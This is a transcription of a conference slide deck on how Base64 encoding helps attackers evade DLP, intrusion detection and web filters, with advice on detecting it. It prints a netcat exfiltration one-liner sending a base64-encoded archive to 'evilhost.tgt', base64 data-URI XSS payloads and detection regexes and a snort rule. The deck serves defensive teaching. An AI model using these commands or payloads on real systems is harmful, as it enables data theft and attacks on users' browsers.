Base64 The Security Killer

Similar documents
DLP FAIL!!! Using Encoding, Steganography and Covert Channels to Evade DLP and other Critical Controls

ACS / Computer Security And Privacy. Fall 2018 Mid-Term Review

Mobile Malfeasance. Exploring Dangerous Mobile Code. Jason Haddix, Director of Penetration Testing

CISSP CEH PKI SECURITY + CEHv9: Certified Ethical Hacker. Upcoming Dates. Course Description. Course Outline

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Web Security II. Slides from M. Hicks, University of Maryland

Web Application Attacks

Web Application Security. Philippe Bogaerts

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

Web Application Penetration Testing

Ethical Hacking and Countermeasures: Web Applications, Second Edition. Chapter 3 Web Application Vulnerabilities

GOING WHERE NO WAFS HAVE GONE BEFORE

Training UNIFIED SECURITY. Signature based packet analysis

epldt Web Builder Security March 2017

Combating Common Web App Authentication Threats

This ethical hacking course puts you in the driver's seat of a hands-on environment with a systematic process.

01/02/2014 SECURITY ASSESSMENT METHODOLOGIES SENSEPOST 2014 ALL RIGHTS RESERVED

Hardening the Education. with NGFW. Narongveth Yutithammanurak Business Development Manager 23 Feb 2012

Lecture Overview. IN5290 Ethical Hacking. Lecture 4: Web hacking 1, Client side bypass, Tampering data, Brute-forcing

MRG Effitas Online Banking Browser Security Assessment Project Q Q1 2014

Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma

Imperva Incapsula Website Security

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Authentication CS 4720 Mobile Application Development

Penetration Testing with Kali Linux

Security Architect Northeast US Enterprise CISSP, GCIA, GCFA Cisco Systems. BRKSEC-2052_c Cisco Systems, Inc. All rights reserved.

OWASP AppSec Research The OWASP Foundation New Insights into Clickjacking

86% of websites has at least 1 vulnerability and an average of 56 per website WhiteHat Security Statistics Report 2013

Un SOC avanzato per una efficace risposta al cybercrime

Author: Tonny Rabjerg Version: Company Presentation WSF 4.0 WSF 4.0

Welcome to the OWASP TOP 10

Advanced Threat Hunting:

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components

Advanced Diploma on Information Security

EC-Council Certified Network Defender (CND) Duration: 5 Days Method: Instructor-Led

SECURITY STORY WE NEVER SEE, TOUCH NOR HOLD YOUR DATA

Security+ Guide to Network Security Fundamentals, Third Edition. Chapter 3 Protecting Systems

How NOT To Get Hacked

Featuring. and. Göteborg. Ulf Larson Thursday, October 24, 13

Cisco s Appliance-based Content Security: IronPort and Web Security

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

Bank Infrastructure - Video - 1

RKN 2015 Application Layer Short Summary

ETHICAL HACKING & COMPUTER FORENSIC SECURITY

Test Harness for Web Application Attacks

Web Application Security GVSAGE Theater

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

INNOV-09 How to Keep Hackers Out of your Web Application

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

Course 831 Certified Ethical Hacker v9

Web Security Computer Security Peter Reiher December 9, 2014

Security Course. WebGoat Lab sessions

Web Application Threats and Remediation. Terry Labach, IST Security Team

Network Security - ISA 656 Review

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Course 831 EC-Council Certified Ethical Hacker v10 (CEH)

Certified Vulnerability Assessor

Using the Cisco ACE Application Control Engine Application Switches with the Cisco ACE XML Gateway

Backend IV: Authentication, Authorization and Sanitization. Tuesday, January 13, 15

Hacker Attacks on the Horizon: Web 2.0 Attack Vectors

Certified Secure Web Application Engineer

n Learn about the Security+ exam n Learn basic terminology and the basic approaches n Implement security configuration parameters on network

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

NET 311 INFORMATION SECURITY

Gladiator Incident Alert

The Invisible Threat of Modern Malware Lee Gitzes, CISSP Comm Solutions Company

Information Security CS 526 Topic 11

Don t blink or how to create secure software. Bozhidar Bozhanov, LogSentinel

COPYRIGHTED MATERIAL. Contents. Part I: The Basics in Depth 1. Chapter 1: Windows Attacks 3. Chapter 2: Conventional and Unconventional Defenses 51

Hackveda Training - Ethical Hacking, Networking & Security

Detecting XSS Based Web Application Vulnerabilities

DHG presenter. August 17, Addressing the Evolving Cybersecurity Landscape. DHG Birmingham CPE Seminar 1

Protecting Against Online Fraud. F5 EMEA Webinar August 2014

CS 356 Operating System Security. Fall 2013

FIREWALL PROTECTION AND WHY DOES MY BUSINESS NEED IT?

OWASP Atlanta Chapter Meeting OWASP APR The OWASP Foundation Filter Evasion Techniques

Forensic Network Analysis in the Time of APTs

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

P2_L12 Web Security Page 1

AURA ACADEMY Training With Expertised Faculty Call Us On For Free Demo

DenyAll Protect. accelerating. Web Application & Services Firewalls. your applications. DenyAll Protect

ADVANCED THREAT PREVENTION FOR ENDPOINT DEVICES 5 th GENERATION OF CYBER SECURITY

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Becoming the Adversary

Web Application Firewall Subscription on Cyberoam UTM appliances

Information Security CS 526 Topic 8

Finding Vulnerabilities in Web Applications

OWASP Thailand. Proxy Caches and Web Application Security. OWASP AppSec Asia October 21, Using the Recent Google Docs 0-Day as an Example

Defense-in-Depth Against Malicious Software. Speaker name Title Group Microsoft Corporation

Human vs Artificial intelligence Battle of Trust

CSN15: Using ArcSight ESM for Malicious Domain Detection. Chris Watley Information Assurance Engineer US Government

90% 191 Security Best Practices. Blades. 52 Regulatory Requirements. Compliance Report PCI DSS 2.0. related to this regulation

Seqrite Endpoint Security

Curso: Ethical Hacking and Countermeasures

ECCouncil Exam v9 Certified Ethical Hacker Exam V9 Version: 7.0 [ Total Questions: 125 ]

Transcription:

Base64 The Security Killer Kevin Fiscus NWN Corporation Session ID: DAS-203 Session Classification: Intermediate

A Short (Made Up) Security Story Helix Pharmaceuticals is concerned about security Industrial espionage Political and social activists

Helix Security Program Strong passwords DLP NIDS Web Filtering Mail Filtering Web Application Firewall Hard Drive Encryption Physical Security Search & Bag Inspection Firewall Anti-Virus Event Correlation

Oops Significant loss of intellectual property Passwords compromised DLP Evaded IDS Evaded Web Security Bypassed

The Cause After a lengthy investigation a single technology was found to be the cause Base64 SGVsaXggUGhhcm1hIHN1cGVyIHNlY3JldCBpbmZvcm1h dglvbib0agf0ihdhcybzdg9szw4gynkgdghlihjlywxses BuYXN0eSBiYWQgZ3V5IQ==

Introduction Kevin Fiscus National Practice Director - NWN Corporation 22 years overall IT experience 11 years focused on information security Certification Collector GSE#36 (out of 41) CISSP, CISA, GCFA, GCFW, GCWN, GAWN, GCIA, GCIH, GSEC, GREM, SCSA, RCSE, SnortCP Community SANS Instructor 6

Overview 7

What Is Base64 Encoding scheme Originally designed to represent binary data as ASCII text

Encoding Displaying information in a variety of formats Glyph Hex Dec Oct Binary A 0x41 65 101 100 0001 a 0x62 97 141 110 0001! 0x21 33 041 010 0001 Backspace 0x08 8 010 000 1000 ASCII: Cat Hexadecimal: 0x43 61 74 Decimal: 67 97 116 Octal: 103 141 164 Binary: 01000011 01100001 01110100

Encoding vs. Encryption Encoding may seem like encryption but Encryption/decryption requires a key Encoding/decryption requires only knowledge of the type of encoding

Types of Encoding Encoding Number of Digits Range of Digits Binary 2 0, 1 Octal 8 0 7 Decimal 10 0 9 Hexadecimal 16 0 9, a, b, c, d, e, f Base64 64 0 9, a z, A Z, 2 symbols Symbols may include forward slash (/), plus (+), dash (-), underscore (_), period (.), colon (:) and exclamation point (!)

Uses of Base64 Web site basic authentication Replacement for uuencode Evasion of basic anti-spamming tools Encoding of character strings in LDAP LDIF files Encoding of binary files (images) within scripts or HTML to avoid depending on external data Communicating encrypted cookie information

Base64 Problems Password Disclosure DLP Bypass End User Compromise Web Application Attacks Malware

Password Disclosure 14

Password Disclosure Basic web authentication encodes username and password as base64 Basic web authentication used for application authentication Identified one anti-virus vendor that used basic web authentication for signature updates You don t use basic web authentication? Do your users? Do they reuse passwords?

DLP Bypass 16

DLP Bypass Regular expression to identify SSNs ^(?!000)([0-6]\d{2} 7([0-6]\d 7[012]))([ - ]?)(?!00)\d\d\3(?!0000)\d{4}$ Consider something simple - encoded SSNs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 M T L z L T Q 1 L T Y 3 O D k = M T E x L T E x L T E x M T E = M j l y L T l y L T I y M j I = M z M z L T M z L T M z M z M =

Detection Why not simply create signatures that detect the base64 version of sensitive data? Unfortunately, it s not that simple Source Secret Secret (1 leading space) Secret (2 leading spaces) SECRET S E C R E T Base64 Encoded U2VjcmV0 IFN1Y3J1dA== ICBTZWNyZXQ= U0VDUkVU UyBFIEMgUiBFIFQ=

Exfiltration Example Data exfiltration on a Mac OS X box via tcp 443: tar -czf - localdir base64 nc evilhost.tgt 443 On remote evil box, just have netcat reverse it: nc -l 443 base64 -d >tarfile.tar.gz 19

Attacking End Users 20

XSS Cross Site Scripting Wikipedia says XSS is a vulnerability typically found in web applications that enables attackers to inject client-side script into web pages viewed by other users. What?

Example Consider a web search similar to Google You type something interesting The web page responds with you just searched for something interesting What happens if you search for <SCRIPT>alert( XSS )</SCRIPT>?

What Can XSS Do? Sensitive Information Theft Credential Theft: Stealing cookies, then stealing sessions File Theft: Using Ajax techniques, upload files to attacker Intranet Scanning JavaScript port scanning Vulnerability scanning possible? Attacking Users Control web browser, browser history, identify browser plug-ins, JavaScript buffer overflow, remote code execution

But That Affects Web Apps Not So Fast Data URI - data:text/html;base64, content <SCRIPT>alert( Pwned );</SCRIPT> Base64: PFNDUklQVD5hbGVydCgiUHduZWQiKTs8L1NDUklQV D4= Combined: data:text/html;base64, PFNDUklQVD5hbGVydCgiUHduZWQiKTs8L1NDUklQV D4= http://tinyurl.com/6bddyun Have you clicked on a shortened URL lately?

Why This Is Bad JavaScript not passed in the clear avoiding IDS/IPS Single-click attack once you click the URL, the code runs No skill to execute

Good News Bad News This attack does not work if IE is your default browser It does work in Firefox, Safari, Chrome, iphones and ipads How many people in your organization would this affect? What type of user are they?

Web Application Attacks 27

Web Application Attacks Cross Site Scripting Detection Often looking for <SCRIPT> or similar But what about <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwd D5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Malware 29

Malware Botnets consist of thousands or millions of slaves or zombies that are centrally controlled Originally IRC was used as the control Who uses IRC on corporate networks? What about HTTP? But that would be obvious

HTTP Controllers If the commands were visible on the page What about comments fields? If the commands were passed in the clear they could be detected or logged Answer encode the commands via base64 Incorporate a base64 decoder in the bot

Detection 32

OK, So Base64 is Bad, Now What? Wouldn t it be great if we could detect base64 on our network That should be easy

Not So Fast Application specific base64 is easy to detect Detecting base64 in a way that: Is application independent Can address base64 in the header or payload MUCH Harder!!! 34

Application Specific Detecting base64 used with basic web auth Emerging Threats snort rule alert tcp $HOME_NET any -> any $HTTP_PORTS (flow:established,to_server; content:" 0d 0a Authorization 3a 20 Basic"; nocase; content:!"yw5vbnltb3vzog=="; within:32;)

Other Base64 Not As Easy What does base64 look like Contains letters and numbers Contains special characters Could be plus and forward slash Could be other characters May or may not contain trailing equal signs The following would fit the description com/something/somethingelse/something123 abcdefghijklmnopqrstuvwxyzabcdefghijklmnop QRSTUVWZYZ1234567890+/

Detection Options - RegEx [0-9a-zA-Z+/=]{20,} Extremely high false positives (?:[A-Za-z0-9+/]{4}){2,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]= [A-Za-z0-9+/][AQgw]==) Fewer false positives but false negatives One out of 3 base64 (looking for =)

Detection Recommendation Identify the most critical threat Web application attack Use of basic web authentication Attack against end users (e.g. XSS) Data exfiltration Use dedicated detection sensors Employ an active program involving continual improvement 38

Overall Methodology

Summary 40

Summary Base64 is common Base64 is dangerous Base64 is hard to detect Detection is possible but it takes effort 41

How To Apply What You Learned Evaluate your organizations susceptibility to base64-based attacks Develop a strategy for detecting base64 Identify malicious base64 used in your organization 42

Applying What You Learned BASE Begin to implement a base64 detection program Linux, Snort and regular expressions are your friends Assess your existing controls to determine your susceptibility to base64 compromise Secure or harden your environment using existing controls E.g. eliminate basic web authentication Educate others in your organization about the risks associated with base64 43

Questions Web: www.nwnit.com Email: kfiscus@nwnit.com Blog: nwnsecurity.blogspot.com Facebook: www.facebook.com/kevinbfiscus Facebook: www.facebook.com/nwnstar Twitter: @kevinbfiscus Twitter: @nwnsecurity 44